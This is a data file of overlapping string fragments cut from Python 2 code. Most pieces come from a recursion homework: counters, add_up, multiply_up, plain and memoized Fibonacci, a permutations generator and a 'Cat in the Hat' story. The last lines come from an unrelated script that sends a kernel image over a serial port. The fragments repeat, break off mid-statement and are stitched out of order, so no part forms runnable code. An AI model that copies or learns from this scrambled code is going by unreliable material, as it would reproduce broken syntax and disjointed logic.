"= Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print 'Question 1 answer:', i.count #",
"Question 6 def outcomes(word): ''' generate (function shall be recursive!) all strings that",
"is 7:', add_up(7) print 'when n is 8:', add_up(8) # Question 3 def",
"k = Incrementer(0) memoized_fib(2, {0 : 0, 1 : 1}) print 'when n",
"is 8:', multiply_up(8) # Question 4 def fib(num): if num == 0: return",
"# Question 6 def outcomes(word): ''' generate (function shall be recursive!) all strings",
"= Incrementer(0) fib(2) print 'when n is 2:', j.count j = Incrementer(0) fib(3)",
"{0 : 0, 1 : 1}) print 'when n is 5:', k.count k",
"'\\nPrep for Question 2 follows...' print 'when n is 0:', add_up(0) print 'when",
"string[index:]) l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep for Question 6 follows...' l",
"if n == 0: return 0 else: return n + add_up(n - 1)",
"that prints out story \"\"\" if helper_cat == \"Voom\": print helper_cat + \":",
"0, 1 : 1}) print 'when n is 5:', k.count k = Incrementer(0)",
"strings that can be formed from the letters in word ''' # base",
"2:', add_up(2) print 'when n is 3:', add_up(3) print 'when n is 4:',",
"print 'Question 1 answer:', i.count # Question 2 def add_up(n): if n ==",
"n is 2:', j.count j = Incrementer(0) fib(3) print 'when n is 3:',",
"n is 7:', k.count # Question 6 def outcomes(word): ''' generate (function shall",
"= Incrementer(0) memoized_fib(5, {0 : 0, 1 : 1}) print 'when n is",
"# Question 1 class Incrementer(object): ''' counting increments separately from the function '''",
": 1}) print 'when n is 0:', k.count k = Incrementer(0) memoized_fib(1, {0",
"== 0: return 0 else: return n + add_up(n - 1) print '\\nPrep",
"Incrementer(0) memoized_fib(0, {0 : 0, 1 : 1}) print 'when n is 0:',",
"0:', add_up(0) print 'when n is 1:', add_up(1) print 'when n is 2:',",
"= Incrementer(0) outcomes('abc') print 'when n is 3:', l.count l = Incrementer(0) outcomes('abcd')",
"in word ''' # base case; no string if not word: return ['']",
"multiply_up(6) print 'when n is 7:', multiply_up(7) print 'when n is 8:', multiply_up(8)",
"fib(5) print 'when n is 5:', j.count j = Incrementer(0) fib(6) print 'when",
"is 5:', multiply_up(5) print 'when n is 6:', multiply_up(6) print 'when n is",
"= Incrementer(0) memoized_fib(6, {0 : 0, 1 : 1}) print 'when n is",
"{0 : 0, 1 : 1}) print 'when n is 1:', k.count k",
"n is 1:', add_up(1) print 'when n is 2:', add_up(2) print 'when n",
"return n + add_up(n - 1) print '\\nPrep for Question 2 follows...' print",
"word ''' # base case; no string if not word: return [''] possibilities",
"0 else: return n + add_up(n - 1) print '\\nPrep for Question 2",
"n is 3:', j.count j = Incrementer(0) fib(4) print 'when n is 4:',",
"#k.increment() memo_dict[num] = sum1 + sum2 return sum1 + sum2 print '\\nPrep for",
"that can be composed from the letters in word in any order; returns",
"helper_cat == \"Voom\": print helper_cat + \": I got this. Mess is all",
"outcomes('ab') print 'when n is 2:', l.count l = Incrementer(0) outcomes('abc') print 'when",
"multiply_up(7) print 'when n is 8:', multiply_up(8) # Question 4 def fib(num): if",
"self.count += 1 \"\"\" Recursion according to the \"Cat in the Hat\" \"\"\"",
"cleaned up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat + \": I'll have\", next_cat,",
"Question 2 def add_up(n): if n == 0: return 0 else: return n",
"\"Cat in the Hat\": return \"Little Cat A\" elif current_cat != \"Little Cat",
"Principles of Computing class, by k., 07/19/2014 # Question 1 class Incrementer(object): '''",
"print 'when n is 5:', multiply_up(5) print 'when n is 6:', multiply_up(6) print",
"j = Incrementer(0) fib(5) print 'when n is 5:', j.count j = Incrementer(0)",
"1, memo_dict) #k.increment() sum2 = memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] = sum1",
"5:', multiply_up(5) print 'when n is 6:', multiply_up(6) print 'when n is 7:',",
"1:', l.count l = Incrementer(0) outcomes('ab') print 'when n is 2:', l.count l",
"'when n is 6:', k.count k = Incrementer(0) memoized_fib(7, {0 : 0, 1",
"6 def outcomes(word): ''' generate (function shall be recursive!) all strings that can",
"= Incrementer(0) outcomes('abcde') print 'when n is 5:', l.count l = Incrementer(0) outcomes('abcdef')",
"k.count k = Incrementer(0) memoized_fib(4, {0 : 0, 1 : 1}) print 'when",
"1 : 1}) print 'when n is 2:', k.count k = Incrementer(0) memoized_fib(3,",
"is 0:', k.count k = Incrementer(0) memoized_fib(1, {0 : 0, 1 : 1})",
"multiply_up(0) print 'when n is 1:', multiply_up(1) print 'when n is 2:', multiply_up(2)",
"- 1) print '\\nPrep for Question 2 follows...' print 'when n is 0:',",
"__init__(self, count): self.count = count def increment(self): self.count += 1 \"\"\" Recursion according",
"to get next cat \"\"\" if current_cat == \"Cat in the Hat\": return",
"be composed from the letters in word in any order; returns a list",
"6:', multiply_up(6) print 'when n is 7:', multiply_up(7) print 'when n is 8:',",
"if n == 0: return 1 else: return n * multiply_up(n - 1)",
"follows...' j = Incrementer(0) fib(2) print 'when n is 2:', j.count j =",
"possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep for",
"2:', j.count j = Incrementer(0) fib(3) print 'when n is 3:', j.count j",
"is 0:', add_up(0) print 'when n is 1:', add_up(1) print 'when n is",
"= Incrementer(0) memoized_fib(2, {0 : 0, 1 : 1}) print 'when n is",
"Question 4 follows...' j = Incrementer(0) fib(2) print 'when n is 2:', j.count",
"return \"Little Cat \" + chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def clean_up(helper_cat):",
"is all cleaned up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat + \": I'll",
"k., 07/19/2014 # Question 1 class Incrementer(object): ''' counting increments separately from the",
"Incrementer(0) fib(3) print 'when n is 3:', j.count j = Incrementer(0) fib(4) print",
"for Principles of Computing class, by k., 07/19/2014 # Question 1 class Incrementer(object):",
"k = Incrementer(0) memoized_fib(0, {0 : 0, 1 : 1}) print 'when n",
"memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] = sum1 + sum2 return sum1 +",
"generate (function shall be recursive!) all strings that can be composed from the",
"= Incrementer(0) fib(7) print 'when n is 7:', j.count j = Incrementer(0) fib(8)",
"n is 6:', k.count k = Incrementer(0) memoized_fib(7, {0 : 0, 1 :",
"j.count j = Incrementer(0) fib(7) print 'when n is 7:', j.count j =",
"6:', k.count k = Incrementer(0) memoized_fib(7, {0 : 0, 1 : 1}) print",
"''' def __init__(self, count): self.count = count def increment(self): self.count += 1 \"\"\"",
"j = Incrementer(0) fib(4) print 'when n is 4:', j.count j = Incrementer(0)",
"8:', j.count # Question 5 def memoized_fib(num, memo_dict): k.increment() if num in memo_dict:",
"all strings that can be formed from the letters in word ''' #",
"print 'when n is 6:', j.count j = Incrementer(0) fib(7) print 'when n",
"6 follows...' l = Incrementer(0) outcomes('a') print 'when n is 1:', l.count l",
"6:', j.count j = Incrementer(0) fib(7) print 'when n is 7:', j.count j",
": 1}) print 'when n is 7:', k.count # Question 6 def outcomes(word):",
"'when n is 5:', l.count l = Incrementer(0) outcomes('abcdef') print 'when n is",
"== \"Voom\": print helper_cat + \": I got this. Mess is all cleaned",
"can be composed from the letters in word in any order; returns a",
"\"\"\" def get_next_cat(current_cat): \"\"\" Helper function to get next cat \"\"\" if current_cat",
"for Question 4 follows...' j = Incrementer(0) fib(2) print 'when n is 2:',",
"Incrementer(0) fib(4) print 'when n is 4:', j.count j = Incrementer(0) fib(5) print",
"n is 0:', k.count k = Incrementer(0) memoized_fib(1, {0 : 0, 1 :",
"print 'when n is 0:', k.count k = Incrementer(0) memoized_fib(1, {0 : 0,",
"print 'when n is 2:', add_up(2) print 'when n is 3:', add_up(3) print",
"outcomes(word[1:]) + possibilities print '\\nPrep for Question 6 follows...' l = Incrementer(0) outcomes('a')",
"to the \"Cat in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function to",
"n * multiply_up(n - 1) print '\\nPrep for Question 3 follows...' print 'when",
"function to get next cat \"\"\" if current_cat == \"Cat in the Hat\":",
"add_up(7) print 'when n is 8:', add_up(8) # Question 3 def multiply_up(n): if",
"not word: return [''] possibilities = [] # generate all appropriate strings for",
"== 0: return 0 elif num == 1: return 1 else: j.increment() return",
"n is 2:', k.count k = Incrementer(0) memoized_fib(3, {0 : 0, 1 :",
"word: return [''] possibilities = [] # generate all appropriate strings for rest",
"- 1) print '\\nPrep for Question 3 follows...' print 'when n is 0:',",
"is 4:', k.count k = Incrementer(0) memoized_fib(5, {0 : 0, 1 : 1})",
"n is 4:', add_up(4) print 'when n is 5:', add_up(5) print 'when n",
"possibilities = [] # generate all appropriate strings for rest of the word",
"the Hat\") i.increment() print 'Question 1 answer:', i.count # Question 2 def add_up(n):",
"'when n is 0:', add_up(0) print 'when n is 1:', add_up(1) print 'when",
"is 6:', add_up(6) print 'when n is 7:', add_up(7) print 'when n is",
"print 'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print",
"\"Cat in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function to get next",
"A\" elif current_cat != \"Little Cat Z\": return \"Little Cat \" + chr(ord(current_cat[-1])",
"have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get those cats to work!!!!! print",
"add_up(8) # Question 3 def multiply_up(n): if n == 0: return 1 else:",
"work!!!!! print 'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat in the Hat\") i.increment()",
"Incrementer(object): ''' counting increments separately from the function ''' def __init__(self, count): self.count",
"\": I got this. Mess is all cleaned up!\" else: next_cat = get_next_cat(helper_cat)",
"generate all appropriate strings for rest of the word for string in outcomes(word[1:]):",
"l.count l = Incrementer(0) outcomes('ab') print 'when n is 2:', l.count l =",
"fib(num - 1) + fib(num - 2) print '\\nPrep for Question 4 follows...'",
"Question 6 follows...' l = Incrementer(0) outcomes('a') print 'when n is 1:', l.count",
"'when n is 1:', add_up(1) print 'when n is 2:', add_up(2) print 'when",
"n is 3:', k.count k = Incrementer(0) memoized_fib(4, {0 : 0, 1 :",
"up!\" clean_up(next_cat) i.increment() # get those cats to work!!!!! print 'Question 1 prep...'",
"# get those cats to work!!!!! print 'Question 1 prep...' i = Incrementer(0)",
"6:', add_up(6) print 'when n is 7:', add_up(7) print 'when n is 8:',",
"0, 1 : 1}) print 'when n is 4:', k.count k = Incrementer(0)",
"memoized_fib(7, {0 : 0, 1 : 1}) print 'when n is 7:', k.count",
"in outcomes(word[1:]): l.increment() for index in range(len(string) + 1): # inserting the initial",
"l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep for Question 6 follows...' l =",
"i.increment() # get those cats to work!!!!! print 'Question 1 prep...' i =",
"add_up(n): if n == 0: return 0 else: return n + add_up(n -",
"Incrementer(0) memoized_fib(7, {0 : 0, 1 : 1}) print 'when n is 7:',",
"def __init__(self, count): self.count = count def increment(self): self.count += 1 \"\"\" Recursion",
"'when n is 3:', k.count k = Incrementer(0) memoized_fib(4, {0 : 0, 1",
"print '\\nPrep for Question 5 follows...' k = Incrementer(0) memoized_fib(0, {0 : 0,",
"4:', multiply_up(4) print 'when n is 5:', multiply_up(5) print 'when n is 6:',",
"base case; no string if not word: return [''] possibilities = [] #",
"7:', multiply_up(7) print 'when n is 8:', multiply_up(8) # Question 4 def fib(num):",
"Question 3 follows...' print 'when n is 0:', multiply_up(0) print 'when n is",
"= Incrementer(0) memoized_fib(1, {0 : 0, 1 : 1}) print 'when n is",
"5:', k.count k = Incrementer(0) memoized_fib(6, {0 : 0, 1 : 1}) print",
"'when n is 6:', multiply_up(6) print 'when n is 7:', multiply_up(7) print 'when",
"= Incrementer(0) fib(4) print 'when n is 4:', j.count j = Incrementer(0) fib(5)",
"return [''] possibilities = [] # generate all appropriate strings for rest of",
"appropriate strings for rest of the word for string in outcomes(word[1:]): l.increment() for",
"return 0 elif num == 1: return 1 else: j.increment() return fib(num -",
"count def increment(self): self.count += 1 \"\"\" Recursion according to the \"Cat in",
"if helper_cat == \"Voom\": print helper_cat + \": I got this. Mess is",
"letters in word in any order; returns a list of all strings that",
"is 3:', l.count l = Incrementer(0) outcomes('abcd') print 'when n is 4:', l.count",
"\"\"\" Helper function to get next cat \"\"\" if current_cat == \"Cat in",
"1 class Incrementer(object): ''' counting increments separately from the function ''' def __init__(self,",
"'when n is 7:', j.count j = Incrementer(0) fib(8) print 'when n is",
"n is 8:', multiply_up(8) # Question 4 def fib(num): if num == 0:",
"print 'when n is 7:', k.count # Question 6 def outcomes(word): ''' generate",
"1}) print 'when n is 0:', k.count k = Incrementer(0) memoized_fib(1, {0 :",
"'\\nPrep for Question 6 follows...' l = Incrementer(0) outcomes('a') print 'when n is",
"= sum1 + sum2 return sum1 + sum2 print '\\nPrep for Question 5",
"n is 6:', add_up(6) print 'when n is 7:', add_up(7) print 'when n",
"l = Incrementer(0) outcomes('abcdef') print 'when n is 6:', l.count l = Incrementer(0)",
": 0, 1 : 1}) print 'when n is 6:', k.count k =",
"print 'when n is 6:', multiply_up(6) print 'when n is 7:', multiply_up(7) print",
"3 follows...' print 'when n is 0:', multiply_up(0) print 'when n is 1:',",
"\"\"\" if helper_cat == \"Voom\": print helper_cat + \": I got this. Mess",
"get_next_cat(helper_cat) print helper_cat + \": I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() #",
"5 follows...' k = Incrementer(0) memoized_fib(0, {0 : 0, 1 : 1}) print",
"multiply_up(n - 1) print '\\nPrep for Question 3 follows...' print 'when n is",
"n is 5:', k.count k = Incrementer(0) memoized_fib(6, {0 : 0, 1 :",
"is 4:', add_up(4) print 'when n is 5:', add_up(5) print 'when n is",
"get_next_cat(current_cat): \"\"\" Helper function to get next cat \"\"\" if current_cat == \"Cat",
"fib(8) print 'when n is 8:', j.count # Question 5 def memoized_fib(num, memo_dict):",
"== \"Cat in the Hat\": return \"Little Cat A\" elif current_cat != \"Little",
"'when n is 8:', add_up(8) # Question 3 def multiply_up(n): if n ==",
"strings for rest of the word for string in outcomes(word[1:]): l.increment() for index",
"n is 4:', k.count k = Incrementer(0) memoized_fib(5, {0 : 0, 1 :",
"any order; returns a list of all strings that can be formed from",
"possible positions within the string possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return outcomes(word[1:])",
"get next cat \"\"\" if current_cat == \"Cat in the Hat\": return \"Little",
": 0, 1 : 1}) print 'when n is 1:', k.count k =",
"prep...' i = Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print 'Question 1 answer:',",
"is 1:', k.count k = Incrementer(0) memoized_fib(2, {0 : 0, 1 : 1})",
"got this. Mess is all cleaned up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat",
"next cat \"\"\" if current_cat == \"Cat in the Hat\": return \"Little Cat",
"outcomes(word): ''' generate (function shall be recursive!) all strings that can be composed",
": 1}) print 'when n is 1:', k.count k = Incrementer(0) memoized_fib(2, {0",
"l = Incrementer(0) outcomes('abc') print 'when n is 3:', l.count l = Incrementer(0)",
"= Incrementer(0) outcomes('a') print 'when n is 1:', l.count l = Incrementer(0) outcomes('ab')",
"Incrementer(0) memoized_fib(1, {0 : 0, 1 : 1}) print 'when n is 1:',",
": 0, 1 : 1}) print 'when n is 5:', k.count k =",
"8:', add_up(8) # Question 3 def multiply_up(n): if n == 0: return 1",
"+ \": I got this. Mess is all cleaned up!\" else: next_cat =",
"memo_dict) #k.increment() sum2 = memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] = sum1 +",
"is 7:', k.count # Question 6 def outcomes(word): ''' generate (function shall be",
"'when n is 1:', k.count k = Incrementer(0) memoized_fib(2, {0 : 0, 1",
"follows...' print 'when n is 0:', multiply_up(0) print 'when n is 1:', multiply_up(1)",
"+ chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that",
"Cat Z\": return \"Little Cat \" + chr(ord(current_cat[-1]) + 1) else: return \"Voom\"",
"j.count j = Incrementer(0) fib(3) print 'when n is 3:', j.count j =",
"l = Incrementer(0) outcomes('abcde') print 'when n is 5:', l.count l = Incrementer(0)",
"for string in outcomes(word[1:]): l.increment() for index in range(len(string) + 1): # inserting",
"Incrementer(0) memoized_fib(6, {0 : 0, 1 : 1}) print 'when n is 6:',",
"get those cats to work!!!!! print 'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat",
"the \"Cat in the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function to get",
"5 for Principles of Computing class, by k., 07/19/2014 # Question 1 class",
"+ 1) else: return \"Voom\" def clean_up(helper_cat): \"\"\" Recursive function that prints out",
"is 3:', k.count k = Incrementer(0) memoized_fib(4, {0 : 0, 1 : 1})",
"3:', j.count j = Incrementer(0) fib(4) print 'when n is 4:', j.count j",
"n is 3:', multiply_up(3) print 'when n is 4:', multiply_up(4) print 'when n",
"memoized_fib(1, {0 : 0, 1 : 1}) print 'when n is 1:', k.count",
"= Incrementer(0) outcomes('abcdef') print 'when n is 6:', l.count l = Incrementer(0) outcomes('abcdefg')",
"print 'when n is 2:', k.count k = Incrementer(0) memoized_fib(3, {0 : 0,",
"'when n is 5:', multiply_up(5) print 'when n is 6:', multiply_up(6) print 'when",
"num == 0: return 0 elif num == 1: return 1 else: j.increment()",
"= Incrementer(0) memoized_fib(3, {0 : 0, 1 : 1}) print 'when n is",
"'when n is 5:', add_up(5) print 'when n is 6:', add_up(6) print 'when",
"if current_cat == \"Cat in the Hat\": return \"Little Cat A\" elif current_cat",
"'when n is 3:', multiply_up(3) print 'when n is 4:', multiply_up(4) print 'when",
"word in any order; returns a list of all strings that can be",
"print 'when n is 5:', l.count l = Incrementer(0) outcomes('abcdef') print 'when n",
"print 'when n is 2:', j.count j = Incrementer(0) fib(3) print 'when n",
"2:', l.count l = Incrementer(0) outcomes('abc') print 'when n is 3:', l.count l",
"j.count j = Incrementer(0) fib(6) print 'when n is 6:', j.count j =",
"returns a list of all strings that can be formed from the letters",
"in any order; returns a list of all strings that can be formed",
"Question 5 def memoized_fib(num, memo_dict): k.increment() if num in memo_dict: return memo_dict[num] else:",
"1 answer:', i.count # Question 2 def add_up(n): if n == 0: return",
"'when n is 1:', l.count l = Incrementer(0) outcomes('ab') print 'when n is",
"n is 0:', multiply_up(0) print 'when n is 1:', multiply_up(1) print 'when n",
"j.increment() return fib(num - 1) + fib(num - 2) print '\\nPrep for Question",
"{0 : 0, 1 : 1}) print 'when n is 6:', k.count k",
"fib(2) print 'when n is 2:', j.count j = Incrementer(0) fib(3) print 'when",
"1:', k.count k = Incrementer(0) memoized_fib(2, {0 : 0, 1 : 1}) print",
"\"Little Cat Z\": return \"Little Cat \" + chr(ord(current_cat[-1]) + 1) else: return",
"the letters in word in any order; returns a list of all strings",
"1 : 1}) print 'when n is 1:', k.count k = Incrementer(0) memoized_fib(2,",
"clean_up(next_cat) i.increment() # get those cats to work!!!!! print 'Question 1 prep...' i",
"+ fib(num - 2) print '\\nPrep for Question 4 follows...' j = Incrementer(0)",
"for index in range(len(string) + 1): # inserting the initial character in all",
"is 1:', l.count l = Incrementer(0) outcomes('ab') print 'when n is 2:', l.count",
"def get_next_cat(current_cat): \"\"\" Helper function to get next cat \"\"\" if current_cat ==",
"k.count k = Incrementer(0) memoized_fib(5, {0 : 0, 1 : 1}) print 'when",
"sum1 = memoized_fib(num - 1, memo_dict) #k.increment() sum2 = memoized_fib(num - 2, memo_dict)",
"follows...' k = Incrementer(0) memoized_fib(0, {0 : 0, 1 : 1}) print 'when",
"print 'when n is 4:', k.count k = Incrementer(0) memoized_fib(5, {0 : 0,",
"Hat\") i.increment() print 'Question 1 answer:', i.count # Question 2 def add_up(n): if",
"= memoized_fib(num - 2, memo_dict) #k.increment() memo_dict[num] = sum1 + sum2 return sum1",
": 0, 1 : 1}) print 'when n is 7:', k.count # Question",
"Question 3 def multiply_up(n): if n == 0: return 1 else: return n",
"Question 1 class Incrementer(object): ''' counting increments separately from the function ''' def",
"i = Incrementer(0) clean_up(\"Cat in the Hat\") i.increment() print 'Question 1 answer:', i.count",
"j.count # Question 5 def memoized_fib(num, memo_dict): k.increment() if num in memo_dict: return",
"def fib(num): if num == 0: return 0 elif num == 1: return",
"print 'when n is 6:', add_up(6) print 'when n is 7:', add_up(7) print",
"1}) print 'when n is 5:', k.count k = Incrementer(0) memoized_fib(6, {0 :",
"k.count k = Incrementer(0) memoized_fib(7, {0 : 0, 1 : 1}) print 'when",
"= Incrementer(0) outcomes('abcd') print 'when n is 4:', l.count l = Incrementer(0) outcomes('abcde')",
"1 : 1}) print 'when n is 0:', k.count k = Incrementer(0) memoized_fib(1,",
"Mess is all cleaned up!\" else: next_cat = get_next_cat(helper_cat) print helper_cat + \":",
"1}) print 'when n is 7:', k.count # Question 6 def outcomes(word): '''",
"from the letters in word ''' # base case; no string if not",
"def memoized_fib(num, memo_dict): k.increment() if num in memo_dict: return memo_dict[num] else: sum1 =",
"print 'when n is 8:', multiply_up(8) # Question 4 def fib(num): if num",
"4 def fib(num): if num == 0: return 0 elif num == 1:",
"outcomes('abcdef') print 'when n is 6:', l.count l = Incrementer(0) outcomes('abcdefg') print 'when",
"else: j.increment() return fib(num - 1) + fib(num - 2) print '\\nPrep for",
"print 'when n is 0:', multiply_up(0) print 'when n is 1:', multiply_up(1) print",
"print 'when n is 1:', k.count k = Incrementer(0) memoized_fib(2, {0 : 0,",
"1:', add_up(1) print 'when n is 2:', add_up(2) print 'when n is 3:',",
"'when n is 3:', add_up(3) print 'when n is 4:', add_up(4) print 'when",
"print 'when n is 5:', add_up(5) print 'when n is 6:', add_up(6) print",
"within the string possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return outcomes(word[1:]) + possibilities",
"multiply_up(4) print 'when n is 5:', multiply_up(5) print 'when n is 6:', multiply_up(6)",
"else: return n * multiply_up(n - 1) print '\\nPrep for Question 3 follows...'",
"is 4:', l.count l = Incrementer(0) outcomes('abcde') print 'when n is 5:', l.count",
"n is 3:', add_up(3) print 'when n is 4:', add_up(4) print 'when n",
"1 else: j.increment() return fib(num - 1) + fib(num - 2) print '\\nPrep",
": 0, 1 : 1}) print 'when n is 3:', k.count k =",
"Incrementer(0) outcomes('ab') print 'when n is 2:', l.count l = Incrementer(0) outcomes('abc') print",
"n == 0: return 0 else: return n + add_up(n - 1) print",
"0: return 0 else: return n + add_up(n - 1) print '\\nPrep for",
"0: return 0 elif num == 1: return 1 else: j.increment() return fib(num",
"print 'when n is 7:', multiply_up(7) print 'when n is 8:', multiply_up(8) #",
": 1}) print 'when n is 6:', k.count k = Incrementer(0) memoized_fib(7, {0",
"memo_dict): k.increment() if num in memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num -",
"k = Incrementer(0) memoized_fib(7, {0 : 0, 1 : 1}) print 'when n",
"print 'when n is 1:', multiply_up(1) print 'when n is 2:', multiply_up(2) print",
"the Hat\" \"\"\" def get_next_cat(current_cat): \"\"\" Helper function to get next cat \"\"\"",
"0 elif num == 1: return 1 else: j.increment() return fib(num - 1)",
"j.count j = Incrementer(0) fib(8) print 'when n is 8:', j.count # Question",
"those cats to work!!!!! print 'Question 1 prep...' i = Incrementer(0) clean_up(\"Cat in",
"'when n is 4:', k.count k = Incrementer(0) memoized_fib(5, {0 : 0, 1",
"list of all strings that can be formed from the letters in word",
"l.count l = Incrementer(0) outcomes('abcd') print 'when n is 4:', l.count l =",
"[''] possibilities = [] # generate all appropriate strings for rest of the",
"is 3:', j.count j = Incrementer(0) fib(4) print 'when n is 4:', j.count",
"{0 : 0, 1 : 1}) print 'when n is 0:', k.count k",
"n is 0:', add_up(0) print 'when n is 1:', add_up(1) print 'when n",
"# Question 5 def memoized_fib(num, memo_dict): k.increment() if num in memo_dict: return memo_dict[num]",
"4:', j.count j = Incrementer(0) fib(5) print 'when n is 5:', j.count j",
"'when n is 2:', k.count k = Incrementer(0) memoized_fib(3, {0 : 0, 1",
"n is 2:', add_up(2) print 'when n is 3:', add_up(3) print 'when n",
"1) print '\\nPrep for Question 2 follows...' print 'when n is 0:', add_up(0)",
"8:', multiply_up(8) # Question 4 def fib(num): if num == 0: return 0",
"'when n is 2:', j.count j = Incrementer(0) fib(3) print 'when n is",
"if num == 0: return 0 elif num == 1: return 1 else:",
"print '\\nPrep for Question 4 follows...' j = Incrementer(0) fib(2) print 'when n",
"else: return n + add_up(n - 1) print '\\nPrep for Question 2 follows...'",
"add_up(1) print 'when n is 2:', add_up(2) print 'when n is 3:', add_up(3)",
"Computing class, by k., 07/19/2014 # Question 1 class Incrementer(object): ''' counting increments",
"+ \": I'll have\", next_cat, \"clean up!\" clean_up(next_cat) i.increment() # get those cats",
"word for string in outcomes(word[1:]): l.increment() for index in range(len(string) + 1): #",
": 1}) print 'when n is 3:', k.count k = Incrementer(0) memoized_fib(4, {0",
"'when n is 7:', k.count # Question 6 def outcomes(word): ''' generate (function",
"Incrementer(0) outcomes('a') print 'when n is 1:', l.count l = Incrementer(0) outcomes('ab') print",
"def clean_up(helper_cat): \"\"\" Recursive function that prints out story \"\"\" if helper_cat ==",
"memo_dict) #k.increment() memo_dict[num] = sum1 + sum2 return sum1 + sum2 print '\\nPrep",
"is 1:', add_up(1) print 'when n is 2:', add_up(2) print 'when n is",
"'\\nPrep for Question 4 follows...' j = Incrementer(0) fib(2) print 'when n is",
"add_up(5) print 'when n is 6:', add_up(6) print 'when n is 7:', add_up(7)",
"l.count l = Incrementer(0) outcomes('abcde') print 'when n is 5:', l.count l =",
"print 'when n is 8:', add_up(8) # Question 3 def multiply_up(n): if n",
"is 2:', multiply_up(2) print 'when n is 3:', multiply_up(3) print 'when n is",
"0, 1 : 1}) print 'when n is 6:', k.count k = Incrementer(0)",
"memoized_fib(6, {0 : 0, 1 : 1}) print 'when n is 6:', k.count",
"Z\": return \"Little Cat \" + chr(ord(current_cat[-1]) + 1) else: return \"Voom\" def",
"n is 8:', j.count # Question 5 def memoized_fib(num, memo_dict): k.increment() if num",
"Hat\": return \"Little Cat A\" elif current_cat != \"Little Cat Z\": return \"Little",
"sum1 + sum2 print '\\nPrep for Question 5 follows...' k = Incrementer(0) memoized_fib(0,",
"positions within the string possibilities.append(string[:index] + word[0] + string[index:]) l.increment() return outcomes(word[1:]) +",
"print 'when n is 1:', l.count l = Incrementer(0) outcomes('ab') print 'when n",
"answer:', i.count # Question 2 def add_up(n): if n == 0: return 0",
"n is 7:', multiply_up(7) print 'when n is 8:', multiply_up(8) # Question 4",
"1 : 1}) print 'when n is 5:', k.count k = Incrementer(0) memoized_fib(6,",
"# base case; no string if not word: return [''] possibilities = []",
"a list of all strings that can be formed from the letters in",
"# generate all appropriate strings for rest of the word for string in",
"'when n is 4:', j.count j = Incrementer(0) fib(5) print 'when n is",
"is 0:', multiply_up(0) print 'when n is 1:', multiply_up(1) print 'when n is",
"j = Incrementer(0) fib(3) print 'when n is 3:', j.count j = Incrementer(0)",
"j = Incrementer(0) fib(7) print 'when n is 7:', j.count j = Incrementer(0)",
"'when n is 0:', k.count k = Incrementer(0) memoized_fib(1, {0 : 0, 1",
"word[0] + string[index:]) l.increment() return outcomes(word[1:]) + possibilities print '\\nPrep for Question 6",
"n is 1:', l.count l = Incrementer(0) outcomes('ab') print 'when n is 2:',",
"l.count l = Incrementer(0) outcomes('abcdef') print 'when n is 6:', l.count l =",
"2 follows...' print 'when n is 0:', add_up(0) print 'when n is 1:',",
": 0, 1 : 1}) print 'when n is 2:', k.count k =",
"cat \"\"\" if current_cat == \"Cat in the Hat\": return \"Little Cat A\"",
"== 1: return 1 else: j.increment() return fib(num - 1) + fib(num -",
"j.count j = Incrementer(0) fib(4) print 'when n is 4:', j.count j =",
"k.count # Question 6 def outcomes(word): ''' generate (function shall be recursive!) all",
"num == 1: return 1 else: j.increment() return fib(num - 1) + fib(num",
"is 6:', l.count l = Incrementer(0) outcomes('abcdefg') print 'when n is 7:', l.count",
"'when n is 8:', multiply_up(8) # Question 4 def fib(num): if num ==",
"print 'when n is 0:', add_up(0) print 'when n is 1:', add_up(1) print",
"is 5:', l.count l = Incrementer(0) outcomes('abcdef') print 'when n is 6:', l.count",
"n is 5:', add_up(5) print 'when n is 6:', add_up(6) print 'when n",
"print 'when n is 3:', add_up(3) print 'when n is 4:', add_up(4) print",
"n is 8:', add_up(8) # Question 3 def multiply_up(n): if n == 0:",
"add_up(2) print 'when n is 3:', add_up(3) print 'when n is 4:', add_up(4)",
"num in memo_dict: return memo_dict[num] else: sum1 = memoized_fib(num - 1, memo_dict) #k.increment()",
"print 'when n is 6:', l.count l = Incrementer(0) outcomes('abcdefg') print 'when n",
"# inserting the initial character in all possible positions within the string possibilities.append(string[:index]",
"= Incrementer(0) outcomes('ab') print 'when n is 2:', l.count l = Incrementer(0) outcomes('abc')"
] |
[
"= os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering = 0) as",
"parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path = args.image",
"= args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb', buffering",
"args = parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial init failed!\") exit(1) file_path",
"default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser = serial.Serial(args.device,115200) except: print(\"Serial",
"parser.add_argument('image', default='kernel8.img', type=str) parser.add_argument('device',default='/dev/ttyUSB0', type=str) args = parser.parse_args() try: ser = serial.Serial(args.device,115200) except:",
"file_path = args.image file_size = os.stat(file_path).st_size ser.write(file_size.to_bytes(4, byteorder=\"big\")) print(\"Sending kernel...\") with open(file_path, 'rb',",
